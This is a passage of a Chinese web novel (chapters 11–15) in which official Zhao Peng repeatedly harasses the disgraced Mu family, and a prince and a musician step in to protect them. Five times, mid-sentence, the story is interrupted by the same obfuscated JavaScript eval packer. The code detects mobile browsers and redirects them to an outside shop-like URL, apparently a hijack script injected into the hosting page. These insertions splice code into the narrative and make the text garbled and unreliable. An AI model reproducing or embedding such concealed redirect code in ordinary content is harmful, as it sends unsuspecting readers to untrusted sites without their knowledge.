白青禾:“他真投敌,这辈子肯定不回来了,难道他会隔着千山万水守着我一辈子么?反正我是不会守着他的,我还年轻,人不笨,也不算丑,还算勤劳,再嫁……应该不难。” 再嫁? 慕卿白意味不明的盯着白青禾。 她何止不笨。 这世上比她聪明的姑娘,着实找不出几个。 不算丑…… 她还挺谦虚。 他又不是没听过她的豪言壮语,昨晚梦里大喊自己天仙似的姑娘,怎么就摊上个叛国贼。 至于勤劳。 又能持家,又能管理下人,再没有比她能干的姑娘。 至于再嫁…… 当年上门求娶的媒人就险些踏破门槛,如果不是国公府门第够深,只怕没这个福气把她娶回来。 如今虽是二嫁。 可她持家有方的名声早传出去了。 又是如此美貌,不知道多少男人心仪。 …… 慕卿白很快收回心思,淡声应道:“我会的。” 白青禾眼看着慕卿白的身影消失在大门口,忽然意识到,都没给他带些吃的。 他第一次出门,也不知道银子带没带够,走的又仓促,没有同伴,没有通行路引,一路千山万水…… 往常慕卿岚带大军出征,她从没如此担心过。 大周朝国富民强,尤其现在的皇帝上位后,他是个极有雄心霸业的帝王,先后收复周围十几个小国。 前些年打进北域,逼得北域王庭倒退上百里。 如果不是魏国公受伤,不少朝臣上书反对,朝廷连年征战,劳民伤财,大概能一鼓作气灭了北域。 往常都是皇上御驾亲征。 如今皇上年纪大了,坐守后方。 去年出兵北域,由大将军带兵,慕卿岚为先锋。 大军所向披靡,势如破竹,半个月内连克北域十五城。 慕卿岚是个比魏国公还能打的人。 十三四岁就跟着魏国公上战场杀敌。 十六岁封为正六品先锋官。 二十一岁,也就是去年,皇上钦封他为正四品威远将军。 这份殊荣,大周朝独一份。 别的青年这个年纪能做到这个官职,全靠祖辈荫蔽。 而他,完全是靠自己一刀一枪拼杀出来的。 否则当年慕家提亲,她也不会那么轻易同意。 这也是他往常出征,她不怎么担心的原因。 …… 慕卿白留了一百两银子,白青禾不好装糊涂。 看见慕宗岳要出门给夫人买粥,主动拿出一两银子,“爹,这个您拿着。” 慕宗岳不肯要:“我还能弄不来一碗粥,不用。” 白青禾不知道慕宗岳用什么办法买粥。 总不能像慕卿白似的,用偷的。 毕竟他断了一条腿,可没有慕卿白那么灵活。 不过慕卿白的银子是哪来的? 难不成也是从誉王府偷的。 慕卿紫看见父亲要走,冲着他的背影喊道:“爹,我想吃烧鸡了。” 慕宗岳的大嗓门隔着院墙传回来,“看你爹的能耐。” 慕宗岳断了一条腿,用偷的确实不方便。 到底做了几十年魏国公的人,手段和人脉还是有点的。 他决定今天出门抓个大冤种。 坐在胡同口大半个时辰,大冤种自己朝他走过来了。 白青禾租的宅子是乐人一条街。 整条街住着大量的乐人和其他贱籍,以及一些落魄的大周朝子民,比如魏国公一家。 而隔壁街正好是乐人讨生活的地方。 一座民间教坊。 誉亲王喜欢听曲,一天不去听上一曲都心痒难耐。 今天誉亲王吃过早饭,拎上他养的两只鹦鹉,十分有闲情逸致的走过乐人街。 莫名其妙被慕宗岳拉住。 “老王爷,救命——” 慕宗岳拄着拐杖,抱住誉亲王一只胳膊,说什么都不肯松手。 誉亲王虽然是正常人,可他快六十岁了,养尊处优的闲散王爷,没练过武功,身体有些虚。 他怎么生气怎么甩都挣脱不开力大如牛的慕宗岳。 “老慕,你到底要干什么,我还要去听曲,不瞒你说,教坊这两天编了支新曲,本王好久没听过这么好听的曲了,你别耽误我时间。” 慕宗岳好不容易抓到的大冤种。 说什么都不肯松开。 “老王爷,我一家快要饿死了,你还有闲心听曲。” 誉亲王充满警惕:“别指望我给你银子,皇上有旨,谁帮你家银钱,算资敌,本王还想寿终正寝,你别给我找麻烦。” 慕宗岳一副你怎么如此看我的神态。 “我能跟你要银子吗,我媳妇病了,就想吃百香居的蟹黄羹,你给我整几碗,让我一家都解解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515297|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馋。” 誉亲王从来没有这么无语的时候,“不是你儿子都投敌了,你媳妇还有心情吃蟹黄羹,整两个馒头将就一下得了。” 慕宗岳可不愿意听这话,“我儿子投敌,那我立过那些大功呢?” 他抬起没有脚那条腿,使劲拍着膝盖。 “这不是为大周朝断的?要是没有我,你还能做这个闲散王爷,还有时间听曲……” 老王爷听不下去了,“得,不就几碗蟹黄羹吗,本王亲自给你买。” 慕宗岳:“你那大侄女还想吃烧鸡。” 誉亲王一副只要别耽误我听曲,什么都给买的脸色。 “还有什么?” 慕宗岳想了想,“暂时没了。” …… 白青禾和慕卿紫又搞了一上午卫生。 慕卿紫昨晚被白青禾哭怕了,今天主动提道:“二哥出门了,我今晚住二哥的房间吧。” 白青禾也不勉强,“也好,省得你嫌我抱着你哭。” 两人搞卫生时,顺便把慕夫人的药熬上。 慕宗岳拎着一堆吃食回来时,汤药刚好出锅。 慕卿紫看见烧鸡,眼睛都亮了,“爹,你怎么弄来的?还是百香居的烧鸡,比别家贵一倍呢。” 慕宗岳笑呵呵的回她:“碰到誉亲王那个老糊涂了,他非请我吃饭,我哪好意思去,就让他买了几碗蟹黄羹。” 公爹的说辞,白青禾一个字都不信。 八成是誉亲王被公爹抓冤大头了。 他们这一家子,可着誉亲王一个人祸害。 慕宗岳将两份蟹黄羹交给她们,拎着余下三碗进屋了。 “夫人,你看我给你弄了什么。” 慕夫人好几天没吃好了,蟹黄羹让她胃口大开,一连吃了两碗。 慕宗岳把自己那份推给夫人,“你吃,我不喜欢吃这个。” 慕夫人实在吃不下了。 “我吃好了。” 白青禾看着如此恩爱的公婆,不由得感叹:“你大哥这个混蛋,心里是没我了,你那个未婚夫也不是个东西,咱就照着公爹的样子,再给你找房亲事。” 提到未婚夫,慕卿紫恨得咬牙切齿。 “原来整天甜言蜜语,一出事,溜得比兔子都快,别让我见到他,否则见他一次打他一次。” 姑嫂两个一边吃饭一边闲聊。 赵鹏带着十几个人忽然闯进宅院。 “誉王府丢了一桌席面和两床被子,本官怀疑被你们慕家偷来了,给本官搜——” 12. 第 12 章 誉亲王丢了两床锦被,被他告到皇上那。 命赵鹏务必找到。 赵鹏一个堂堂四品巡检使,怎么会愿意抓这种鸡鸣狗盗之事。 奈何誉亲王较真,他只能硬着头皮四处寻找。 两床锦被谁知道被人拆了、扔了还是卖了,哪里能找到。 他今天带人进慕家,找锦被是假,羞辱慕家才是真。 慕卿紫气得暴跳如雷。 “赵鹏,你别太过分。” 白青禾挡在门口,瞪着赵鹏这个狗东西,“你要是没能力做这个巡检使就让给卿白,别整天找我们麻烦,我们都住到乐人街了,你还想怎么样!” 赵鹏把小院打量一遍,之前没怀疑慕家偷锦被,这会倒是拿到了证据。 “不是你们偷的锦被,卖了之后租的宅子,你们是哪来的银钱租的宅子?” 白青禾:“我们凭本事赚的不行,皇上让你过问我们怎么赚银子了?我们每赚一笔银子都要向你汇报?” 赵鹏才不信慕家能赚银子。 “这宅子少说也得五两银子,你们不交代没关系,别让我拿到证据,皇上可说了,谁给慕家提供帮助,一律按资敌罪处置。” 白青禾道赵鹏害怕什么,“那我劝你快点滚,卿白马上就回来了,他手上的刀剑可不长眼睛,万一一不小心划深了,割断了脖子可不是闹着玩的。” 赵鹏断定慕家卖了锦被才租的宅子。 要么就是得了什么人的资助。 多半是白家。 料定手下搜不出什么,又忌惮慕卿白的武功,打算先找证据,再来拿人。 “白青禾,等本官拿到证据,希望你还能这么硬气。” 他命手下差役埋伏在四周,时刻监视慕家人动静。 一连半个月都没见到慕卿白。 赵鹏起了疑心。 “慕卿白又不会隐身,怎么会不见人,他不会……离京了吧?” 手下认为有这个可能。 “自从搬进乐人街,再没人见过慕卿白,街坊邻居也是如此说。” 赵鹏攥着拳头使劲砸向旁边的桌子。 他竟然把慕卿白忽略了。 这么久没见人,肯定去边关调查真相了。 他才不管慕卿白的目的是什么。 慕卿白戴罪之身,私自出京,给他扣个通敌叛国的罪名。 慕家双子全都通敌,他不信慕家还有翻身的机会。 赵鹏先进宫向皇上告发,之后带人赶往慕家,打算将慕家一网打尽。 白青禾没找到合适的谋生方式。 她原本打算支个小摊做点小本生意。 婆婆这个嘤嘤怪,没有任何指望。 公爹就不是个做生意的人。 她敢断定,真支了摊子,不是被她公爹贱卖就是送给没钱买的穷苦百姓。 到时候银子没赚来,还要不停地争吵,伤了和气,得不偿失。 反正有慕卿白留下来的一百两银子,够一家人生活好几年的。 她想做什么,都等慕卿白回来再说。 这几天,她每天换了男装和慕卿紫去乐坊听曲。 《锦瑟》一登场,立刻得到众多乐迷的喜爱。 不知道谁作的词,配上她谱的曲,婉转回肠,动人心脾,堪称天作之合。 尤其是誉亲王,每天都要来乐坊听上一回。 孙筠筠这些天收到赏银无数,乐得小嘴咧开,都要合不回去了。 慕卿紫别看是个姑娘,性子糙的和慕宗岳差不多。 她原本不喜欢听曲,被嫂子拉来次数多了,身心受到影响,也有了喜欢的乐师。 “孙姑娘弹奏的曲子好好听,不知道哪位大师谱的。” 她夸的正是《锦瑟》。 白青禾心里窃喜,被人喜欢的感觉如此美妙。 誉亲王摇着扇子,腆着肚子坐到慕卿紫身边。 “词写的才叫好,”他瞥了一眼身穿男装的慕卿紫,满脸嫌弃,“曲子嘛,靡靡之音,难登大雅之堂,这首词简直是扭转乾坤之作,两下碰到一起,才擦出如此惊人的火花。” 白青禾那么用心谱的曲,竟然被老亲王批评的一无是处。 自尊受到到打击,她看老王爷格外不顺眼。 活该他被慕家抓冤大头。 “老王爷,这首曲子,要韵律有韵律,要格调有格调,怎么就不好了?” 慕卿紫也道:“就是,明明是我目前听过最好听的曲子,老王爷你耳朵是不是不好使了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515298|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 誉亲王收起扇子,敲她们俩人脑袋一人一下子。 “你们两个小东西,没大没小!” 慕卿紫抱着脑袋嚎叫:“老王爷,你没理就会动手。” 老王爷倒也不是真打她们,落到脑袋上轻轻,没有任何疼痛感。 和自家长辈逗弄晚辈时没差别。 白青禾笑道:“老王爷欺负我们两个不敢跟他动手。” 老王爷嫌弃她们两个吵,“好好听曲吧,好好环境都被你们两个搅了。” 白青禾和慕卿紫都不说话了,老王爷又觉得太安静。 “说起来,这曲子也不知道谁谱的,怎么就谱了两首,可惜了!” 慕卿紫比老王爷还遗憾,“听说叫什么绫箫公子,不知道长什么样,有没有家室……” 老王爷兴趣来了,“你们两个臭丫头,闲着也是闲着,帮王爷我找找这个凌霄公子,对了,还有作词的锦瑟姑娘,王爷我有赏。” 白青禾还是第一次听说词作者名字。 “锦瑟姑娘?” 老王爷嫌弃道:“你不知道?” 白青禾摇头,“我还是第一次听说。” 她的曲名叫《锦瑟》,词作者也叫锦瑟,天底下竟然有这么巧的事。 “老王爷,民女如果能帮您找到这两个人,您能不能答应我一件事?” 老王爷是皇上最小的亲叔叔,两个人年纪相仿,一起由先皇后抚养长大,比亲兄弟都亲。 这世上就没有他做不成的事。 “什么事,尽管说就是。” 白青禾:“如果我和小紫找到人,您就帮我们慕家跟皇上说说情,哪怕不能恢复我公爹的爵位,恢复卿白的官职也行啊,您看我一家现在的惨状,破庙都住了,有上顿没下顿的,一大家子可怎么活啊!” 慕卿紫早知道嫂子最有办法。 她就想不到靠这种事拿捏老亲王。 “誉王爷,您就答应我们吧,看在我爹救过皇上,没了一条腿的份上。” 老王爷不想趟慕家的浑水,正犹豫着,桃花忽然气喘吁吁的跑进来。 “小姐,不好了,赵鹏带人去慕家抓人,说是二爷私自离开京城,投敌去了,要把慕家所有人都押入大牢。” 13. 第 13 章 誉亲王最喜欢听曲了。 三年前孙筠筠第一次弹奏《兰怨》他就命人打听谱曲之人。 奈何孙筠筠嘴巴严,无论如何都不肯说。 这次《锦瑟》上台,他又被迷得神魂颠倒,做梦都想见见谱曲之人。 孙筠筠那丫头威逼利诱皆不好使。 誉亲王不是强人所难之人。 打算用别的办法找到。 正好白青禾主动送上来。 他一个好字没出口,竟然被桃花打断。 特别不高兴地瞪这个没眼色的小丫头。 白青禾听说赵鹏上门,哪还有心情和老王爷开玩笑,拉上慕卿紫就往回跑。 急得老王爷在后边跳脚:“你们两个臭丫头给本王回来。” 白青禾头也不回的喊道:“您想知道,等下去大牢里找我们吧。” 老王爷兴致正浓,忽然被人打断,自然要迁怒始作俑者。 他吩咐贴身管家,“大牛,你去看看,哪个不长眼的又去慕家找麻烦了。” 白青禾赶到家时,慕宗岳正握着拐杖和赵鹏对峙。 “小兔崽子,我慕宗岳也不是好欺负的,没爵位怎么了,没爵位老子这条腿也是为国征战断的,你个毛都没长全的小兔崽子也敢来欺负,老子这就去撞登闻鼓,找皇上讨个说法。” 登闻鼓都搬出来了,赵鹏莫名有几分胆怯。 不过如果不趁这次机会把慕家按死,等到慕家死而复生,他肯定会被报复。 “慕宗岳,你两个儿子全都通敌叛国,你立多少功,也无法抵消他们罪孽,来人,把慕宗岳给我抓起来。” “慢着——” 白青禾及时出现,她拦在慕宗岳面前。 “赵鹏你有毛病,每天闲的没事干专门找我们慕家麻烦,我们慕家哪里得罪你了!” 慕卿紫抽出随身携带的短刀,瞄着赵鹏,大有跟他同归于尽的决心。 自从上次吃过亏,她就弄了把匕首放在靴筒里。 今天正好派上用场。 “赵鹏,你怎么像只苍蝇一样,赶都赶不走。” 赵鹏一双色眯眯的眼睛,来回在姑嫂身上打转。 “慕卿白擅自离京,难道不是像他大哥一样投递叛国?” 赵鹏拧着邪笑走到白青禾面前,“表妹,别以为我不知道慕家打什么主意,先是慕卿岚投敌,接着是慕卿白,北域给你们慕家许了大好处,有机会再把慕宗岳夫妻和慕卿紫接过去,到时候,慕家就在敌国团聚了,只有你,像个傻子,留在这边担着慕家所有罪责,表哥这是为你好,你到底懂不懂?” 白青禾快被油腻的赵鹏恶心死了。 “呸,你说出这种话,自己信吗?慕卿岚为什么投敌?还不是孤立无援,不投敌就会死,最多是贪生怕死,我公爹一辈子为国征战,这里是慕家的根,凭什么投敌?倒是你,整天针对忠臣,谁知道存了什么心思!” 慕卿紫附和道:“嫂子说的对,这个赵鹏,一点正事没有,整天就知道难为老百姓,要是这样的人能当官,我也能。” 她晃晃手里的刀子,自觉比赵鹏强百倍千百。 赵鹏恼羞成怒,“先把她们两个给本官抓起来。” 白青禾厉声质问:“你凭什么抓我们?所谓捉贼拿脏,卿白好好端端留在城内,从未离京,你凭什么冤枉他投敌?” 赵鹏忽然大笑起来,“慕卿白至少不见半个月了,他要是没出京,我把脑袋揪下来送给你。” 白青禾没见过这么恶心的人。 “我要你的破脑袋干什么,卿白就是在京,昨晚我们还一起吃饭,你别冤枉好人。” 赵鹏派了好几个手下看着慕家,怎么可能相信白青禾的话。 “你让慕卿白出来。” 白青禾又不会变戏法,“他没离开京城,也不一定在家,他刚才出去了,你又没提前打招呼,让他留在家里等你。” “强词夺理,”赵鹏好像有受虐倾向,白青禾越怼他,他越兴奋。 恨不得现在就把人带回去。 “真没出京,你找出一个这两天见过他的人!” 慕卿紫毫不犹豫道:“我们今早还一起吃饭了。” 赵鹏:“慕家人不算。” 白青禾一时举不出证人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515299|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要白家帮忙说慌,白家肯定不会拒绝。 可慕卿白远去千里,重重关卡,万一被抓或者留下证据,到时白家作假证事发,肯定会被皇上处罚。 她留在慕家是没办法,万不能把娘家牵连进来。 赵鹏就知道她找不出证人:“表妹,你就承认吧,慕卿白就是去边关投敌了,你们老实交代,本官还能向皇上求情,从轻处罚,否则……别怪我官法无情。” “我见过二爷……”门外忽然传来一道柔弱女子的声音。 白青禾下意识看过去。 果然如心中所想,这道声音是孙筠筠的。 她不停地给孙筠筠使眼色。 慕家摊上这样的事,别人躲还来不及,孙筠筠怎么能自投罗网。 万一被外人发现,孙筠筠这辈子都别想脱籍了。 孙筠筠仿佛没看见她的示意,径自走到赵鹏面前,俯身行礼。 “我昨天还见过二爷,去教坊听我弹曲,我留二爷喝茶,他说什么都不肯,说是身上没带银子。” 赵鹏满腹狐疑地看着孙筠筠,“你是谁?” 孙筠筠自我介绍道:“我是民间教坊的乐女,孙筠筠。” 赵鹏皱眉,他不知道孙筠筠的底细,摸不准她说的是真话还是假话。 “你最好明白自己在做什么,如果慕卿白不在京城,你这可是通敌大罪。” 孙筠筠肯定道:“小人怎么敢撒谎。” 赵鹏还是不信,“除了她,再找出一个看过慕卿白的本官才信,否则本官怀疑你们串通,全都带去大牢。” 白青禾正发愁呢,忽然看见誉亲王的管家大牛站在门口。 眼珠一转,计上心来。 她走过去把人拉过来,同时小声威胁道:“老王爷让民女帮忙寻找绫箫公子和锦瑟姑娘,你不帮忙作证,我就不给老王爷找人。” 大牛无奈道:“白娘子你可难为小人了。” 白青禾:“你家老王爷还能怕个四品巡检使,又不是什么大事。” 大牛能怎么办,老王爷做梦都想找到这两个人。 “白娘子,只此一次。” 14.第 14 章 大牛是誉亲王府管家。 而誉亲王是最受宠的皇叔。 赵鹏厌恶那个糊涂王爷,可也不敢得罪他的管家。 有了大牛作证,他能怎么办,只能心不甘情不愿的带人离开。 “我们走!” 白青禾眼看着赵鹏离开,两腿一软,险些坐到地上。 慕卿紫比她好些,稳稳扶住了她。 “好险。” 慕宗岳冲着赵鹏狠狠啐一口,他不认识孙筠筠,问白青禾:“这位姑娘……” 白青禾担心慕家嫌弃乐人,一直没让他们见过。 今天孙筠筠救了慕家,身份再卑微,慕家也得拿出几分尊重。 “爹,这是我好朋友,教坊的乐人,孙筠筠。” “教坊的?”慕宗岳看孙筠筠有几分眼熟,“家人犯了什么事?” 孙筠筠如实回道:“当年我祖父攻打南蛮不力,被皇上充军发配,所有女眷充入乐籍。” 慕宗岳记得这事:“你是孙成的孙女?” 孙筠筠点头:“正是。” 慕宗岳感叹道:“说起来,孙大将军还算我半个师父,没想到落个这样的下场。” 慕夫人从赵鹏进门一直哭到现在。 这会倒是收了眼泪。 她把孙筠筠拉到身边,仔细端详了一阵,“孙姑娘长得真俊,可惜我们国公府不行了,否则一定帮孙家平反,怎么也给你脱了乐籍。” 孙筠筠最大的梦想就是脱籍。 听了慕夫人的话,眼泪来到眼眶,恨不得给慕夫人跪下。 “慕夫人,慕家肯定会平反昭雪,到时候还请您帮我孙家说句话。” 连自己都顾不得的慕宗岳,大手一挥,“放心,只要慕家能重新起来,孙将军的事,一定尽心去办。” 慕宗岳是个热心肠,白青禾阻止不了。 况且孙筠筠是她好朋友,能帮孙家平反,她求之不得。 和慕家人打完招呼,白青禾把孙筠筠拉到一旁。 “你怎么这么冲动,赵鹏不是好人,你帮我们说话,他肯定会找你麻烦。” 孙筠筠为了脱籍,早就豁出去了。 “青禾,我相信魏国公能东山再起,我朋友不多,能信得过的朋友就更没几个了,你是其中一个,你的家人,我肯定相信。 今天帮了魏国公,哪怕来日他忘了我,只要我有脱籍的机会,哪怕差一点点,求到他面前帮我说句话,那便是求之不得的大好事。” 白青禾都没想过慕宗岳能东山再起。 孙筠筠倒是对他充满信心。 她不好说丧气话,“我公爹这个人,对谁都大方,对谁都掏心掏肺,只要他有机会,肯定会报今日大恩。” 孙筠筠没在慕家待多久。 所有人都走后,慕夫人又坐在门口垂泪。 要说这个世上,白青禾最羡慕的人是谁,那肯定是自己婆婆。 瞧瞧人家,不管遇到什么,只管嘤嘤嘤就行了。 “娘,您别担心,卿白他吉人自有天相,肯定已经在回来的路上了,没准今天睡一晚,明早就回来了。” 慕夫人继续垂泪,“边关远在千里之外,他哪去过那么远的地方,唉,都是卿岚作孽,到现在一封书信没有,他可真狠心。” 白青禾继续劝,“娘,生死存亡之际,卿岚想要活命,也是人之常情,不管怎么说,他能活着就有希望。” 慕夫人继续嘤嘤嘤,“唉,原本以为卿岚是娘这辈子最大的指望,谁知道会发生这种事,出征前,你爹不停地嘱咐,不让他轻敌冒进,他怎么就不听呢。” 白青禾劝到麻木,“娘,事到如今,我们只管往前看,没准哪天皇上想起爹立过的功劳,让我们搬回国公府呢。” 慕夫人:“……嘤嘤嘤……” 白青禾劝到口干舌燥,实在劝无可劝,喊慕卿紫过来,“娘的药喝了吗,你陪娘待一会儿,我去准备晚饭。” 来到厨房,她一边准备食材,一边后怕。 没想到有一天,她发现干活是如此轻松的一件事。 这顿晚饭没吃成。 赵鹏总觉的慕卿白不在京城。 否则他的人不可能连续半个月都没见到人影。 莫名其妙冒出来的女子,肯定是慕家什么亲戚,帮忙遮掩。 誉亲王和魏国公是老交情,沆瀣一气太正常不过了。 好不容易抓到机会,他不能这么轻易放过。 赵鹏回衙门憋闷半晌,最终决定,他要杀慕家一个回马枪,必须抓到慕卿白擅自离京的铁证。 慕家一个儿子投敌,一个儿子私自去边关,皇上再不忍,也要继续追究慕家的责任。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516730|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一面命手下严守两个城门,一面带人杀回慕家。 白青禾眼见着赵鹏去而复返,心知这事没那么容易了了,她一面悄悄给慕卿紫使眼色,让她去找老王爷救急,一面挺身迎上去拖延时间。 赵鹏好像一只扒在人身上吸血的蜱虫,非要把慕家最后一滴血吸干不可。 “赵鹏,你连晚饭都没地方吃了吗,像狗一样闻着味来的?” 和赵鹏同来的还有赵如烟。 她装的好像大家闺秀一般,踩着莲花步子走到白青禾身边。 趾高气扬犹如一只斗胜的秃毛大公鸡。 “表姐,你就承认吧,慕卿白就是去边关了,你老实交代,怎么说也是慕家的事,大哥帮你说说情,不一定会连累到你。” 白青禾没能退成亲,这会倒是一把攻击的好武器。 “我可不像有些人那么没良心,在慕家倒台第一时间冲上去撇清关系,唉,这做人啊,可不能猪狗不如。” 这话听着不好听,白青禾总觉得在骂自己。 不管怎么说,她都没退婚,心里想的外人又不知道。 只要能气到赵如烟就行了。 赵如烟果然又羞又愧,垮下脸色。 不过她是不会让白青禾如意的。 “我和反贼划清界限有错?反正住破庙的不是我,跟那些贱民混在一起的也不是我,表姐高尚,可得牢牢握住慕家。” 她怼完白青禾,给赵鹏一个眼色。 “大哥,既然慕家人都不知道悔改,还是全都请到衙门反思一下吧。” 赵鹏立刻命令手下,“来人,都给我抓起来,慕卿白擅自出京,私通外敌,叛国谋逆,十恶不赦,慕家人包庇,不交代出来慕卿白的踪迹,谁都别想出来!” 慕夫人吓坏了,躲在慕宗岳怀里继续嘤嘤嘤。 慕宗岳铁青着脸,恨不得一拐杖拍死赵鹏,“你敢!” 白青禾只能希望小姑早点把誉亲王请来。 否则他们一家人今晚真要去大牢里过了。 就在一家人心生绝望,马上就要被赵鹏带走之时,一道低沉而有力量感的声音从身后传来。 “赵鹏,你要把我的家人带去哪里?” 白青禾心口一震。 她没有哪一刻更希望听到这个声音了。 不是慕卿白的又是谁! 15.第 15 章 慕卿白身穿月白长衫,从东厢房走出来,仪态端正,神态从容,一如从前贵公子模样。 他一句“赵鹏,你要把我的家人带去哪里?” 仿佛给每个人的心里都安了一根定海神针。 再没有比此更安心的。 慕夫人喜极而泣,“卿白——” 慕宗岳底气莫名高涨,“赵鹏生说你不在家,三番两次过来找麻烦。” 白青禾厌恶慕卿白两次对她拔剑,此刻心里却莫名觉得,世上再没有比他更英俊的男人了。 他怎么出现的如此及时。 “卿白,也不知道咱家什么时候得罪了赵家,赵鹏和他妹子,一再过来找麻烦,非要给你安插个投敌叛国的罪名,这次说什么都不能原谅他,我们去敲登闻鼓,皇上罢了爹的爵位,又没判我们死罪,凭什么一再冤枉我们!” 慕卿白正有此意,“嫂嫂此言甚好!” 赵鹏没抓住慕卿白私自出京的证据,眼看着要被反噬。 闹到御前,他肯定得不到什么好处。 刚才他信誓旦旦跟皇上告发慕卿白出京,皇上本就不信,让他把心思用在正地。 是他立功心切,以为能拿住慕卿白证据。 此刻被慕家揪住不放,只能向小妹求救。 赵如烟是个聪明的。 关键时刻,她比慕夫人那个嘤嘤怪还要柔弱。 她掩面做出哭泣模样,柔弱无助地走到慕卿白面前,一个字没说出来,眼里噙满水珠子,泫然欲泣地望着他。 “卿白,都是我太担心你了,担心你冲动之下一错再错,这才央求大哥过来印证,万一你真出京了,我也好尽力帮忙遮掩,是伯父伯母误会了,表姐又厌恶我,一直火烧浇油,根本不是那么回事……” 白青禾还挺佩服慕卿白的耐心。 能看赵如烟演那么长时间。 她倒想知道,慕卿白会怎么对毫不犹豫抛弃他的前未婚妻。 慕卿白情绪稳定,一双黢黑的眸子里没有任何波澜。 他口吻淡淡的,说出的话却叫人心底动荡。 “赵姑娘是说,赵鹏这个从四品巡检使完全受你这个内宅姑娘驱使?” 赵如烟喉头一梗。 慕卿白又道:“那林某倒是请问一句,赵大人当的是我大周朝的官,还是你赵如烟的官?” 赵鹏面如猪肝。 赵如烟犹如摔个狗啃屎。 白青禾忍着笑。 她从来没像此刻这般羡慕过赵如烟。 慕卿白多吝啬言语的一个人,竟然和赵如烟说了这么长两句话。 把赵如烟感动的都张不开嘴了。 这么安静的时刻,白青禾使劲憋着。 然后,实在太好笑了,她没憋住。 噗嗤一声笑了出来。 “表妹,你这小绿茶,也就在你家人面前好使,我小叔眼明心静,可不会上当,收起你那茶味,早点滚回去抱着你爹娘哭去吧,别把我这新家茶出味了。” 她满脸嫌弃,不停地扇着面前的风。 气得赵如烟狠狠瞪向她,“你别得意。” 随后慌慌张张跑出慕家。 大概太想跑出女子的娇柔,一个没稳住,在大门口摔了一跤。 白青禾彻底绷不住了,“哈哈哈哈哈……” 赵鹏眼见着势态不好,打算脚底抹油,却被赶来救场的誉亲王拦住。 “我说赵鹏你是不是很闲,王爷我正喝着酒呢,被这丫头拎来,说是你要把人家父母嫂嫂全都抓走,白天不是查过了,我家大牛都见过慕家那个臭小子,怎么你眼神不好,就你没见着?” 赵鹏不敢忤逆老王爷,老老实实低着头聆听“教诲”。 “王爷,下官知错了。” 誉亲王还没发泄完,“你知什么错了?你大半夜跑人家耀武扬威。王爷我就想不明白了,你总找慕家那个臭小子干什么,一天还来找两次,带那么多差役,你喜欢他?” 誉亲王雷死人不偿命。 赵鹏性取向正常,急忙摇头。 誉亲王又问:“那是他偷你媳妇了?” 赵鹏:“……” 誉亲王嫌弃他碍眼,冲着他的屁股狠狠踹一脚,“还不给王爷我滚,等着我请你喝酒啊!” 赵鹏急忙捂着屁股逃出慕家。 证据没找到,还挨王爷一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522592|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,里子面子都没了。 这笔账,他早晚跟慕家讨回来! 白青禾冲着灰溜溜逃走的赵鹏喊道:“慢走,不送——” 一家人迎上去给誉亲王行礼。 誉亲王满脸嫌弃,“我说老慕,你怎么混到这种地步,让个后生晚辈欺上门。” 慕宗岳是个糙人,他战场杀敌所向披靡,生活中除了被人算计就是被人算计。 皇上削了他的爵位,他就老老实实搬出国公府,住破庙,哪怕跟誉亲王乞讨,也没想过找什么办法让皇上收回成命。 “都是阿岚糊涂,我愧对皇上对我的信任……” 誉亲王话都说到这份上了,慕宗岳还不开窍,懒得理他。 “白娘子,你过来。” 他朝白青禾摆摆手。 